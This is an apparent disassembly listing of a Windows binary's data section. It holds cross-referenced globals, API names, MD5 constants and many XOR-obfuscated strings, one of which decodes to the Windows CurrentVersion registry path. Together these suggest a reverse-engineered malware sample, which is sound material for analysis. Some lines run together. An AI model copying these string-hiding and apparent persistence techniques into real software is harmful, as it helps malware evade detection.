dword_4899F0 dd ? dword_4899F4 dd ? ; sub_43ECD2+9r
dword_4899F8 dd ? ; sub_43C7A3+2C5w ...
dword_4899FC dd ? ; sub_43FD1A+71r ...
dword_489A00 dd ? ; sub_43C114+3Fr ...
dd 3 dup(?)
word_489A10 dw ? ; DATA XREF: sub_43CE88:loc_43CF0Er
; sub_43CE88:loc_43CF5Fr ...
dw ?
dd 1F3h dup(?)
dword_48A1E0 dd ? ; sub_441843+64w
dword_48A1E4 dd ? ; sub_443885+55w
dword_48A1E8 dd ? ; sub_4408C5+21Fw
dword_48A1EC dd ? ; sub_4407D3+EBw
dword_48A1F0 dd ? ; sub_441843+6Fw
dd 3 dup(?)
dword_48A200 dd 5 dup(?) ; sub_441843+103o ...
dword_48A214 dd ? dword_48A218 dd ? ; sub_43BD23+3Dr ...
dword_48A21C dd ? ; sub_43C7A3+1F3w
dword_48A220 dd ? ; sub_4440DD+C6r ...
dd 177Eh dup(?)
dword_49001C dd 0E880h dup(?)dword_4CA21C dd ? dword_4CA220 dd ? ; sub_438324+A6Dr ...
dword_4CA224 dd ? ; sub_44296E+39r ...
dword_4CA228 dd ? ; sub_43C501+81r ...
dd ?
dword_4CA230 dd 80h dup(?) ; sub_43BD8A+4Fo ...
dword_4CA430 dd ? ; sub_43C7A3+29Bw ...
dd 3 dup(?)
dword_4CA440 dd 41h dup(?) ; sub_43EF1C+13o ...
dword_4CA544 dd ? ; sub_43C7A3+136w
dword_4CA548 dd ? ; sub_444ED7+385r
dd ?
dword_4CA550 dd ? ; sub_438324+3D3r ...
dword_4CA554 dd ? ; sub_438324+4C9r ...
dword_4CA558 dd ? ; sub_438324+65Dr ...
dword_4CA55C dd ? ; sub_438324+990r ...
dword_4CA560 dd ? ; sub_438324+C92r ...
dword_4CA564 dd ? ; sub_438324+CFAr ...
dword_4CA568 dd ? ; sub_438324+E0Cr ...
dword_4CA56C dd ? ; sub_438324+FDBr ...
dword_4CA570 dd ? ; sub_43FD1A+68Ar
dword_4CA574 dd ? ; sub_43FD1A+6BEr
dword_4CA578 dd ? ; sub_43FD1A+653r
dword_4CA57C dd ? ; sub_43FD1A+61Cr
dd 4A4h dup(?)
dword_4CB810 dd ? ; sub_43C7A3+25Cw
dword_4CB814 dd ? ; sub_4395D8+733r ...
dword_4CB818 dd ? dword_4CB81C dd ? ; sub_443885+94w
dword_4CB820 dd ? ; sub_44526D+1B7r
dd 3 dup(?)
dword_4CB830 dd 41h dup(?) ; sub_43EF1C+2Bo ...
dword_4CB934 dd ? ; sub_4395D8+CB8r ...
dword_4CB938 dd ? ; sub_43C7A3+232w
dword_4CB93C dd ? ; sub_438324+6CBr ...
dword_4CB940 dd ? ; sub_43DEC5+EEr ...
dword_4CB944 dd ? ; sub_440FB0+241r
dword_4CB948 dd ? ; sub_4395D8+14CEr ...
dd ?
dword_4CB950 dd ? ; sub_441F06+48Er ...
dd 3E7h dup(?)
dword_4CC8F0 dd ? dword_4CC8F4 dd ? dword_4CC8F8 dd ? ; sub_43FD1A+65Ar ...
dword_4CC8FC dd ? ; sub_444ED7+2F9w
dword_4CC900 dd ? ; sub_43CCB6+6Ar ...
dword_4CC904 dd ? ; sub_443885+7Fw
dword_4CC908 dd ? ; sub_444ED7+FFr ...
dword_4CC90C dd ? ; sub_43ECD2+148r ...
dword_4CC910 dd ? ; sub_43C7A3+21Dw ...
dword_4CC914 dd ? ; sub_438324+1054r ...
dword_4CC918 dd ? ; sub_440FB0:loc_441104r
dd ?
dword_4CC920 dd ? ; sub_4440DD+D4r ...
dd 0FFFEh dup(?)
dword_50C91C dd ? ; sub_44296E+E08r
dword_50C920 dd ? ; sub_444ED7+18Er
dword_50C924 dd ? ; sub_43BE1F+54r ...
dword_50C928 dd ? ; sub_438324+C64r ...
dword_50C92C dd ? ; sub_444ED7+313w ...
dword_50C930 dd ? ; sub_4408C5+A5w ...
dword_50C934 dd ? ; sub_440B82+289r
dword_50C938 dd ? ; sub_43FD1A+2E9r ...
dword_50C93C dd ? ; sub_439556+32r ...
dword_50C940 dd ? ; sub_43C397+79w
dd 3 dup(?)
dword_50C950 dd ? ; sub_4440DD+131w ...
dd 0FFFEh dup(?)
dword_54C94C dd ? ; sub_443B7F+8Cr
dword_54C950 dd ? ; sub_4408C5+18Cw
dword_54C954 dd ? ; sub_4408C5+20Aw
dword_54C958 dd ? ; sub_43FD1A+5B9r ...
dword_54C95C dd ? ; sub_43DEC5+79r ...
dword_54C960 dd ? ; sub_43C7A3+2DAw ...
dword_54C964 dd ? ; sub_43E77A+93r ...
dword_54C968 dd ? ; sub_43DA48+2Dr ...
dd ?
dword_54C970 dd 40h dup(?) ; sub_441843+17Bo ...
dword_54CA70 dd ? ; sub_44050C+9r ...
dword_54CA74 dd ? ; sub_441522+217w ...
dword_54CA78 dd ? ; sub_43C7A3+160w ...
dd ?
dword_54CA80 dd ? ; sub_441522+C7w ...
dd 8 dup(?)
dword_54CAA4 dd ? dword_54CAA8 dd ? dd ?
dword_54CAB0 dd ? ; sub_441522+19Cw
dd ?
dword_54CAB8 dd ? ; sub_441522+15Dw
dd ?
dword_54CAC0 dd ? ; sub_441522+43w ...
dd 2 dup(?)
dword_54CACC dd ? dd 3 dup(?)
dword_54CADC dd ? dd 3 dup(?)
dword_54CAEC dd ? dd ?
dword_54CAF4 dd ? dword_54CAF8 dd ? dd ?
dword_54CB00 dd ? ; sub_444ED7+354r
dd 3 dup(?)
byte_54CB10 db ? ; DATA XREF: sub_43C501+F8w
; sub_43C501+135o ...
db 3 dup(?)
dd 3FFh dup(?)
dword_54DB10 dd ? ; sub_43C7A3+E2w ...
dword_54DB14 dd ? ; sub_43F803+Er ...
dword_54DB18 dd ? ; sub_4395D8+149Ar ...
dword_54DB1C dd ? ; sub_4440DD+9Dr ...
dword_54DB20 dd ? ; sub_443B7F+6Br ...
dd 0FEh dup(?)
dword_54DF1C dd ? ; sub_43BD8A+85r ...
dword_54DF20 dd ? ; sub_43CBAF+3Ar ...
dd ?
dword_54DF28 dd ? ; sub_44122A+28r ...
dword_54DF2C dd ? ; sub_43ECD2+39r
dword_54DF30 dd ? ; sub_43D41A+1EDr ...
dword_54DF34 dd ? ; sub_440B82+2D4r ...
dword_54DF38 dd ? ; sub_43FD1A+13Cr ...
dword_54DF3C dd ? ; sub_43953F+Er ...
byte_54DF40 db ? ; DATA XREF: sub_43D98E:loc_43DA07r
; sub_440E73+44o
db 3 dup(?)
dd 3Fh dup(?)
dword_54E040 dd ? ; sub_4395D8+894r ...
dword_54E044 dd ? ; sub_444E05+90w
dword_54E048 dd ? dd ?
dword_54E050 dd 6Ch dup(?) ; sub_43AAF7+60o ...
_text ends
; Section 5. (virtual address 0014F000)
; Virtual size : 00001C00 ( 7168.)
; Section size in file : 00001C00 ( 7168.)
; Offset to raw data for section: 00023200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 54F000h
off_54F000 dd offset sub_445578 ; DATA XREF: .text:004381B5r
dword_54F004 dd 0 ; sub_4381C3+64r
dword_54F008 dd 0 dword_54F00C dd 0 ; sub_4381C3:loc_43823Cr
dword_54F010 dd 0 align 8
dd 7325h
aWr: ; DATA XREF: sub_4381C3+3Do
; sub_4381C3+4Fo ...
unicode 0, <wr>,0
align 4
dd 4 dup(0)
dword_54F034 dd 0 dword_54F038 dd 0 ; .text:00438117r ...
dword_54F03C dd 0 dword_54F040 dd 14h dup(0) ; .text:0043811Fo
dword_54F090 dd 4 ; sub_438324+1F1r ...
word_54F094 dw 2 ; DATA XREF: sub_438324:loc_438384r
; sub_4395D8+1BAr ...
align 4
dword_54F098 dd 9 ; sub_438324+BD1r ...
word_54F09C dw 6 ; DATA XREF: sub_43BE84+145r
; sub_43E364+244r ...
align 10h
dword_54F0A0 dd 3 ; sub_438324+853r ...
dword_54F0A4 dd 7 ; sub_438324+9F9r ...
word_54F0A8 dw 0 ; DATA XREF: sub_438324+178r
; sub_4395D8+1255r ...
align 4
dword_54F0AC dd 7 ; sub_438324+42Cr ...
dword_54F0B0 dd 5 ; sub_43CCB6+2Cr ...
word_54F0B4 dw 5 ; DATA XREF: sub_438324+1AEr
; sub_4395D8+C28r ...
align 4
dword_54F0B8 dd 4 ; sub_4395D8+A93r ...
dword_54F0BC dd 0 ; sub_438324+7E4r ...
dword_54F0C0 dd 2 ; sub_4395D8+9A9r ...
word_54F0C4 dw 6 ; DATA XREF: sub_438324+138r
; sub_438324+306r ...
align 4
dword_54F0C8 dd 1 ; sub_438324+2D9r ...
word_54F0CC dw 1 ; DATA XREF: sub_438324+343r
; sub_438324+A5Ar ...
align 10h
word_54F0D0 dw 6 ; DATA XREF: sub_43946B+2Fr
; sub_4395D8+18Fr ...
align 4
dword_54F0D4 dd 5 ; sub_438324+E4Fr ...
dword_54F0D8 dd 6 ; sub_438324+EBDr ...
dword_54F0DC dd 4 ; sub_43D090+2BEr ...
dword_54F0E0 dd 6 ; sub_438324+A64r ...
dword_54F0E4 dd 5 ; sub_43ABE6+90r ...
dword_54F0E8 dd 1 ; sub_43ADF1+226r ...
dword_54F0EC dd 1 ; sub_4395D8+831r ...
dword_54F0F0 dd 3 ; sub_4395D8+6F0r ...
word_54F0F4 dw 2 ; DATA XREF: sub_438324+377r
; sub_4395D8+EBFr ...
align 4
word_54F0F8 dw 5 ; DATA XREF: sub_438324+5FAr
; sub_438324+6C0r ...
align 4
word_54F0FC dw 2 ; DATA XREF: sub_438324+692r
; sub_438324+6FDr ...
align 10h
dword_54F100 dd 9 ; sub_43B3AD+B0r ...
word_54F104 dw 0 ; DATA XREF: sub_438324+756r
; sub_4395D8+8CFr ...
align 4
dword_54F108 dd 8 ; sub_43ADF1+11Fr ...
dword_54F10C dd 2 ; sub_438324+B03r ...
dword_54F110 dd 9 ; sub_4395D8+126Cr ...
dword_54F114 dd 1 ; sub_43B0C6:loc_43B120r ...
word_54F118 dw 8 ; DATA XREF: sub_438324+B7Br
; sub_43ABE6+1CEr ...
align 4
dword_54F11C dd 2 ; sub_438324+C76r ...
dword_54F120 dd 8 ; sub_438324+A49r ...
dword_54F124 dd 2 ; sub_438324+EA3r ...
word_54F128 dw 5 ; DATA XREF: sub_438324+1C8r
; sub_438324+2ABr ...
align 4
dword_54F12C dd 8 ; sub_4395D8+4EDr ...
dword_54F130 dd 1 ; sub_438324+F17r ...
dword_54F134 dd 2 ; sub_4395D8+4BFr ...
word_54F138 dw 3 ; DATA XREF: sub_438324:loc_43870Fr
; sub_438324+664r ...
align 4
word_54F13C dw 9 ; DATA XREF: sub_438324+18Cr
; sub_438324+54Dr ...
align 10h
dword_54F140 dd 1 ; sub_438324+3BFr ...
word_54F144 dw 4 ; DATA XREF: sub_438324+10Ar
; sub_438324+24Er ...
align 4
word_54F148 dw 1 ; DATA XREF: sub_438324+687r
; sub_438324+710r ...
align 4
dword_54F14C dd 2 ; sub_4395D8+81Er ...
dword_54F150 dd 4 ; sub_4395D8+1155r ...
dword_54F154 dd 8 ; sub_438324+327r ...
dword_54F158 dd 3 ; sub_438324+B0Dr ...
dword_54F15C dd 4 ; sub_43BE84+ECr ...
dword_54F160 dd 7 ; sub_438324+B8Er ...
word_54F164 dw 1 ; DATA XREF: sub_438324+A3Br
; sub_4395D8:loc_43A174r ...
align 4
dword_54F168 dd 2 ; sub_438324+E39r ...
dword_54F16C dd 5 ; sub_4395D8+28Br ...
dword_54F170 dd 4 ; sub_438324:loc_438625r ...
dword_54F174 dd 7 ; sub_438324+7DAr ...
dword_54F178 dd 9 ; sub_43B0C6:loc_43B0DDr ...
dword_54F17C dd 7 ; sub_438324+C71r ...
dword_54F180 dd 0 ; sub_438324+C2Fr ...
dword_54F184 dd 4 ; sub_4395D8+5C2r ...
dword_54F188 dd 5 ; sub_4395D8+163r ...
dword_54F18C dd 1 ; sub_4395D8+925r ...
word_54F190 dw 8 ; DATA XREF: sub_438324+F64r
; sub_4395D8+590r ...
align 4
word_54F194 dw 1 ; DATA XREF: sub_438324+519r
; sub_438324+BE1r ...
align 4
word_54F198 dw 1 ; DATA XREF: sub_438324+1F9r
; sub_438324:loc_438671r ...
align 4
dword_54F19C dd 4 ; sub_438324+7C5r ...
dword_54F1A0 dd 8 ; sub_4395D8+11EDr ...
word_54F1A4 dw 6 ; DATA XREF: sub_438324:loc_438701r
; sub_438324+9A7r ...
align 4
word_54F1A8 dw 0 ; DATA XREF: sub_438324+D15r
; sub_4395D8+56r ...
align 4
dword_54F1AC dd 2 ; sub_438324+233r ...
dword_54F1B0 dd 7 ; sub_4395D8+E54r ...
dword_54F1B4 dd 4 ; sub_439556:loc_4395C2r ...
dword_54F1B8 dd 4 ; sub_43B76D+14Br ...
dword_54F1BC dd 6 ; sub_438324+AF8r ...
dword_54F1C0 dd 1 ; sub_438324+B75r ...
word_54F1C4 dw 8 ; DATA XREF: sub_438324+432r
; sub_438324+9F2r ...
align 4
dword_54F1C8 dd 8 ; sub_43AAF7+C1r ...
word_54F1CC dw 9 ; DATA XREF: sub_438324+717r
; sub_438324+AF1r ...
align 10h
dword_54F1D0 dd 7 ; sub_43B0C6+73r ...
dword_54F1D4 dd 8 ; sub_438324+997r ...
dword_54F1D8 dd 4 ; sub_4395D8+11DDr ...
dword_54F1DC dd 0 ; sub_438324+E49r ...
dword_54F1E0 dd 4 ; sub_438324+59Er ...
dword_54F1E4 dd 4 ; sub_438324+899r ...
word_54F1E8 dw 7 ; DATA XREF: sub_438324+AC1r
; sub_4395D8+F69r ...
align 4
dword_54F1EC dd 3 ; sub_4395D8+12DDr ...
word_54F1F0 dw 6 ; DATA XREF: sub_438324+520r
; sub_43ABE6+D4r ...
align 4
dword_54F1F4 dd 9 ; sub_4395D8+296r ...
dword_54F1F8 dd 3 ; sub_4395D8+93Ar ...
dword_54F1FC dd 0 ; sub_438324+2C6r ...
dword_54F200 dd 5 ; sub_438324+BC1r ...
dword_54F204 dd 2 ; sub_438324+7BBr ...
word_54F208 dw 1 ; DATA XREF: sub_438324+F4r
; sub_438324+CD4r ...
align 4
dword_54F20C dd 4 ; sub_438324+8E8r ...
word_54F210 dw 5 ; DATA XREF: sub_438324+238r
; sub_438324+440r ...
align 4
dword_54F214 dd 3 ; sub_438324+886r ...
word_54F218 dw 0 ; DATA XREF: sub_438324+193r
; sub_43C284+F3r ...
align 4
dword_54F21C dd 4 ; sub_43C114+C0r ...
dword_54F220 dd 2 ; sub_438324+630r ...
dword_54F224 dd 1 ; sub_43B535+8Ar ...
dword_54F228 dd 8 ; sub_438324+7A9r ...
dword_54F22C dd 7 ; sub_438324+BCAr ...
dword_54F230 dd 1 ; sub_438324+F47r ...
dword_54F234 dd 8 ; sub_438324+8BAr ...
dword_54F238 dd 0 ; sub_438324+3AAr ...
dword_54F23C dd 0 ; sub_4395D8+11C6r ...
word_54F240 dw 8 ; DATA XREF: sub_438324+ABAr
; sub_4395D8+1032r ...
align 4
word_54F244 dw 7 ; DATA XREF: sub_4395D8+B63r
; sub_4395D8+12B9r ...
align 4
dword_54F248 dd 4 ; sub_4395D8+51r ...
dword_54F24C dd 9 ; sub_438324+D4Dr ...
dword_54F250 dd 0 ; sub_43AAF7+1Ew ...
dword_54F254 dd 0 ; sub_43B76D+26Ar ...
dword_54F258 dd 0 ; sub_43C397+20r ...
dword_54F25C dd 0 ; sub_4408C5+22r ...
dword_54F260 dd 0 ; sub_441272+20r ...
dword_54F264 dd 0 ; sub_4407D3+26r ...
dword_54F268 dd 0 ; sub_444E05+22r ...
dword_54F26C dd 0 ; sub_43FB17+13w ...
dword_54F270 dd 0 ; sub_443E1B+13w ...
dword_54F274 dd 0 ; sub_43B309+29r ...
dword_54F278 dd 0 ; sub_443885+26r ...
dword_54F27C dd 0 ; sub_43BD23+29r ...
dword_54F280 dd 0 ; sub_43CBF8+20r ...
dword_54F284 dd 0 ; sub_44122A+37w ...
dword_54F288 dd 0 ; sub_43DA48+24r ...
dword_54F28C dd 0 ; sub_43ECD2+11Fw ...
dword_54F290 dd 0E860h, 0E9610000h, 2 dup(0)dword_54F2A0 dd 0 ; sub_43D090+350w ...
dword_54F2A4 dd 0 ; sub_4404CE:loc_4404FFr ...
off_54F2A8 dd offset sub_43DA81 ; DATA XREF: sub_441F06+689o
dd offset sub_43F803
dd offset sub_43FA78
dd offset sub_43C79B
dd offset sub_44387D
dd offset sub_441E26
dd offset sub_43CE88
dword_54F2C4 dd 0 ; sub_440B82+160r ...
off_54F2C8 dd offset sub_439556 ; DATA XREF: .data:off_54F2E4o
dd offset sub_43953F
dd offset sub_43B4E1
dd offset sub_43B713
dd offset sub_445513
dd offset sub_4412D0
dd offset sub_4394E9
off_54F2E4 dd offset off_54F2C8 ; DATA XREF: sub_43C652+C0o
; sub_441B74+144o
dword_54F2E8 dd 0 ; sub_43C652+72r ...
off_54F2EC dd offset sub_443D93 ; DATA XREF: .data:off_54F308o
dd offset sub_4437CA
dd offset sub_43B508
dd offset sub_44178D
dd offset sub_439537
dd offset sub_43C27C
dd offset sub_43C652
off_54F308 dd offset off_54F2EC ; DATA XREF: sub_441B74:loc_441D34o
aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_43DFC1+2C9o
aCreatethread db 'CreateThread',0 ; DATA XREF: sub_43DFC1+2DCo
aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_43DFC1+300o
aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_43DFC1+313o
align 10h
dword_54F360 dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh
; DATA XREF: sub_43F052+2Fo
dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh
dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh
dd 49B40821h
dword_54F3A0 dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh
; DATA XREF: sub_43F052+3Fo
dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h, 0C33707D6h
dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h
dd 8D2A4C8Ah
dword_54F3E0 dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h
; DATA XREF: sub_43F052+52o
dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh
dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h
dd 0C4AC5665h
dword_54F420 dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h
; DATA XREF: sub_43F052+65o
dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh, 0FE2CE6E0h
dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh
dd 0EB86D391h
off_54F460 dd offset loc_444C3A ; DATA XREF: sub_444AA8+18Br
dd offset loc_444C45
dd offset loc_444C9B
dd offset loc_444CF7
dword_54F470 dd 4, 6A0028h, 6C0067h, 71hdword_54F480 dd 0B1DA0006h, 0ACF7ABB1h db 0A2h, 0
word_54F48A dw 6 ; DATA XREF: sub_444ED7+1F0o
dd 0A2B8B8D3h, 0ABA5FEh
dword_54F494 dd 0A5CE0006h, 0B8E3BFA5h db 0B6h, 0
word_54F49E dw 8 ; DATA XREF: sub_444ED7+107o
dd 2B075174h, 510C0019h
db 1, 0
word_54F4AA dw 6 ; DATA XREF: sub_444ED7+C5o
dd 68727219h, 616F34h
dword_54F4B4 dd 3E1B0007h, 6F764468h db 63h, 2Ah, 0
byte_54F4BF db 0Ch ; DATA XREF: sub_444E05+B1o
dd 80ADE900h, 8CAE999Ah, 9B88B99Dh
db 88h, 84h, 0
byte_54F4CF db 0Bh ; DATA XREF: sub_444E05+95o
dd 0A691C700h, 0A9A6AEB5h, 0AEA98EB3h
db 0B3h, 0
word_54F4DE dw 0Ch ; DATA XREF: sub_444E05+79o
aLsglduijpls db '꼋˜ƒ‹„©†‹˜',0
word_54F4EE dw 0Eh ; DATA XREF: sub_444E05+5Do
dd 0E3E9C390h, 0FFFCFCD1h, 0E2E4C3F3h, 0F7FEF9h
dword_54F500 dd 0D685000Dh, 0F7C3F6FCh, 0F1D6E0E0h, 0E2EBECF7h
; DATA XREF: sub_444E05:loc_444E46o
db 0
byte_54F511 db 0Ch, 0, 3Ah ; DATA XREF: sub_444E05+2Ao
dd 5B5F5655h, 8094E4Fh, 56565E14h
db 0
byte_54F521 db 0Ch, 0, 24h ; DATA XREF: sub_444E05+1o
dd 4541484Bh, 16175051h, 4848400Ah
db 0
byte_54F531 db 4, 0, 42h ; DATA XREF: sub_444250+4BAo
aL6 db 'l',0
asc_54F539 db 0Bh,0 ; DATA XREF: sub_444250+43Co
aTISiRkvv db 'Î’¾ë»‘ë»àª¢¢',0
dword_54F548 dd 0F1A70001h db 0
byte_54F54D db 1, 0, 86h ; DATA XREF: sub_4440DD+21o
db 0D3h, 0
word_54F552 dw 17h ; DATA XREF: sub_443E8D:loc_444094o
aSSSSSsSSSST db '¼™ß™ß™ß™ß‘™ß™ß™ß™ß™ß’ßÓÑ',0
byte_54F56D db 16h, 0, 8Dh ; DATA XREF: sub_443E8D+1C1o
dd 2 dup(0EEA8EEA8h), 0A8A0EEA8h, 0A8EEA8EEh, 0A3EEA8EEh
db 0FFh, 0F8h, 0
byte_54F587 db 0Ah ; DATA XREF: sub_443E1B+27o
dd 5B4E3D00h, 4E52625Eh, 51515913h
db 0
byte_54F595 db 0Ah, 0, 86h ; DATA XREF: sub_443E1B+1o
dd 0D9E5E0F5h, 0E2A8F5E9h
db 2 dup(0EAh), 0
byte_54F5A3 db 4 ; DATA XREF: sub_443B7F:loc_443BB3o
dd 0E6A08500h
db 0BFh, 0D9h, 0
byte_54F5AB db 10h ; DATA XREF: sub_443885+16Bo
dd 0D7E0B200h, 0D7C7E3D5h, 0D3E4CBC0h, 0F7D7C7DEh
db 0CAh, 0F3h, 0
byte_54F5BF db 10h ; DATA XREF: sub_443885+156o
dd 86B9F600h, 84A69893h, 85939599h, 9D99A285h
db 93h, 98h, 0
byte_54F5D3 db 13h ; DATA XREF: sub_443885+141o
dd 94B6F100h, 9A9EA585h, 9FB89F94h, 9C839E97h, 9E988590h
db 9Fh, 0
off_54F5EA dd offset dword_49001C ; DATA XREF: sub_443885+12Co
dw 2027h
dd 2528203Dh, 1A2C3320h, 3B3C2A2Ch, 0D303D20h, 3B2A3A2Ch
dd 263D3920h
db 3Bh, 0
word_54F60A dw 0Ch ; DATA XREF: sub_443885+117o
dd 17062463h, 11061036h, 60E022Dh
db 22h, 0
word_54F61A dw 0Dh ; DATA XREF: sub_443885+102o
dd 21231446h, 28233609h, 33F230Dh
db 3Eh, 7, 0
byte_54F62B db 1Ah ; DATA XREF: sub_443885+EDo
dd 0C3F5A600h, 0C5C3F5D2h, 0D2CFD4D3h, 0D5C3E2DFh, 0D6CFD4C5h
dd 0E9D4C9D2h, 0D4C3C8D1h
db 0
byte_54F649 db 12h, 0, 0C4h ; DATA XREF: sub_443885+D8o
aGbCnacJeMlN db 'ƒ¡°— —±¦…±°¬«¶°½',0
byte_54F65F db 10h ; DATA XREF: sub_443885+C3o
dd 0A395C600h, 0AAAF80B2h, 0A5A395A3h, 0B2AFB4B3h
db 0BFh, 87h, 0
byte_54F673 db 15h ; DATA XREF: sub_443885+AEo
dd 0C2E1AD00h, 0DDD8C6C2h, 0DBC4DFFDh, 0CAC8C1C4h, 0C1CCFBC8h
dd 0ECC8D8h
dword_54F68C dd 0F5B20017h, 0DBE1C6D7h, 0D0C7E1D6h, 0DAC6C7F3h, 0C6DBC0DDh
; DATA XREF: sub_443885+99o
dd 0C7DDF1CBh
db 0DCh, 0C6h, 0
byte_54F6A7 db 15h ; DATA XREF: sub_443885+84o
db 0
db 5, 44h, 61h
aOpvqqjnKuwlsli db 'opvqQjn`kUwlsli`b`v',0
asc_54F6C0 db 0Bh,0 ; DATA XREF: sub_443885+6Fo
aZmokdgMcmq db '(zMOkDG[McMQ',0
byte_54F6CF db 19h ; DATA XREF: sub_443885+5Ao
dd 0B391D600h, 0B2BF85A2h, 0B8B3B29Fh, 0BFB0BFA2h, 0A397A4B3h
dd 0A4B9BEA2h, 0AFA2BFh
dword_54F6EC dd 14470019h, 22143322h, 2E353224h, 22033E33h, 2E352434h
; DATA XREF: sub_443885:loc_4438CAo
dd 35283337h, 2B242603h
db 0
byte_54F709 db 0Ch, 0, 0CDh ; DATA XREF: sub_443885+2Eo
dd 0ACBBA9ACh, 0FFFEA4BDh, 0A1A1A9E3h
db 0
byte_54F719 db 0Ch, 0, 0EEh ; DATA XREF: sub_443885+1o
aPkspuzKvv db 'Š˜‡İÜÀŠ‚‚',0
byte_54F729 db 1, 0, 14h ; DATA XREF: sub_44296E+DB6o
db 68h, 0
word_54F72E dw 2 ; DATA XREF: sub_44296E+D8Ao
dd 0ADF1D1h
dword_54F734 dd 0C6FC0001h db 0
byte_54F739 db 4, 0, 1Bh ; DATA XREF: sub_44296E:loc_443621o
aN db ';>n!',0
byte_54F741 db 1, 0, 9 ; DATA XREF: sub_44296E+746o
db 75h, 0
word_54F746 dw 0Ah ; DATA XREF: sub_44296E+4FCo
dd 770D1131h, 0B7C637Eh, 0F4414h
dword_54F754 dd 0D4F4000Bh, 0B5A6B2C8h, 0D1CEB1B9h db 81h, 0CAh, 0
byte_54F763 db 0Ah ; DATA XREF: sub_44296E+303o
dd 0BBA78700h, 0CAC6D5C1h, 0B9CABDC2h, 0
dword_54F774 dd 5, 7C000Ah, 66006Bh, 6F007Fh, 0dword_54F788 dd 4, 52003Ch, 51005Dh, 59hdword_54F798 dd 0E2E0002h db 0Eh, 0
word_54F79E dw 1 ; DATA XREF: sub_4427CD:loc_4428C9o
db 0BBh, 94h, 0
byte_54F7A3 db 12h ; DATA XREF: sub_4427CD:loc_442818o
dd 0DEC0AD00h, 0DEC1D9CEh, 0CCD9DEF2h, 0CFDED8D9h, 9F9EDFCCh
db 0
byte_54F7B9 db 0Eh, 0, 0FEh ; DATA XREF: sub_4427CD+10o
aKqIcrSiTqnn db 'ªŸœ©—𑉽’Ÿ',0
byte_54F7CB db 3 ; DATA XREF: sub_441F06+32Eo
dd 71251E00h
db 23h, 0
word_54F7D2 dw 4 ; DATA XREF: sub_441F06:loc_4421A9o
dd 716D251Eh
db 23h, 0
word_54F7DA dw 4 ; DATA XREF: sub_441F06:loc_442170o
dd 0C198C7FCh
db 0D6h, 0
word_54F7E2 dw 4 ; DATA XREF: sub_441F06+224o
dd 0CF96C9F2h, 0D3h
dword_54F7EC dd 3, 590010h, 57005Dh db 2 dup(0)
word_54F7FA dw 1 ; DATA XREF: sub_441DB2+46o
db 96h, 0CAh, 0
byte_54F7FF db 0Fh ; DATA XREF: sub_441843+13Eo
dd 7B2D0800h, 646E6C54h, 3B727D2Dh, 646C263Ah
db 64h, 0
word_54F812 dw 10h ; DATA XREF: sub_441843+10Do
dd 98B7E1C4h, 0E1B6B7B3h, 0F7B0BEB1h, 0A8A0EAF6h
db 0A8h, 0
word_54F826 dw 0Bh ; DATA XREF: sub_441843+A2o
dd 8EA1F7D2h, 0A7F7A1F7h, 0A1BEBCFCh
db 0
byte_54F835 db 0Fh, 0, 0B6h ; DATA XREF: sub_441843+74o
aUUEds db '“ÅêİĞ“ÃÚÌ…„˜ÒÚÚ',0
dword_54F848 dd 8BAE0004h, 0F69C80hdword_54F850 dd 0CDE80001h db 0
byte_54F855 db 2, 0, 0FAh ; DATA XREF: sub_441795:loc_4417DCo
db 0DFh, 99h, 0
byte_54F85B db 9 ; DATA XREF: sub_4412D8+1E7o
dd 0CCEEBE00h, 0DDCBDAD1h, 0DAF7CAh
unk_54F868 db 2Ch ; , ; DATA XREF: sub_4412D8+1D7o
align 2
dw 5506h
aI@rqgtczkoetiu db 'I@RQGTCZKoetiui`rZQohbiqu&HRZEsttchrPctuoih',0
asc_54F898 db 9,0 ; DATA XREF: sub_4412D8+179o
dw 2F7Fh
dd 0A1B100Dh, 1B360B1Ch
db 0
byte_54F8A5 db 29h, 0, 1 ; DATA XREF: sub_4412D8+169o
aRnguv@sdLhbsnr db 'RNGUV@SD]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno',0
word_54F8D2 dw 1 ; DATA XREF: sub_4412D8+14Do
db 0A4h, 8Ah, 0
byte_54F8D7 db 4 ; DATA XREF: sub_4412D8+EAo
dd 0E4ECC100h
db 99h, 0EFh, 0
byte_54F8DF db 3 ; DATA XREF: sub_4412D8+9Do
dd 6B325100h
db 0Dh, 0
word_54F8E6 dw 8 ; DATA XREF: sub_4412D8:loc_44133Do
dd 45F0F2Ah, 0F045F0Fh
db 5Fh, 0
word_54F8F2 dw 2 ; DATA XREF: sub_4412D8+50o
dd 0E7FDB3h
dword_54F8F8 dd 0CAF30002h db 0ABh, 0
word_54F8FE dw 0Bh ; DATA XREF: sub_441272:loc_4412B1o
aKzmiMngfI db '(kZMI\MnGF\i',0
asc_54F90D db 9,0 ; DATA XREF: sub_441272+28o
aVgq db '±ÖÕØ‚ƒŸÕİİ',0
asc_54F91A db 9,0 ; DATA XREF: sub_441272+1o
aS47A7?? db 'S47:`a}7??',0
asc_54F927 db 0Dh,0 ; DATA XREF: sub_440FB0:loc_44118Fo
db 12h, 61h, 6Bh
dd 7F776661h, 747D6062h, 777E7Bh
dword_54F938 dd 187D0006h, 1E140B0Fh db 18h, 0
word_54F942 dw 1 ; DATA XREF: sub_440FB0+105o
db 0Eh, 2Ah, 0
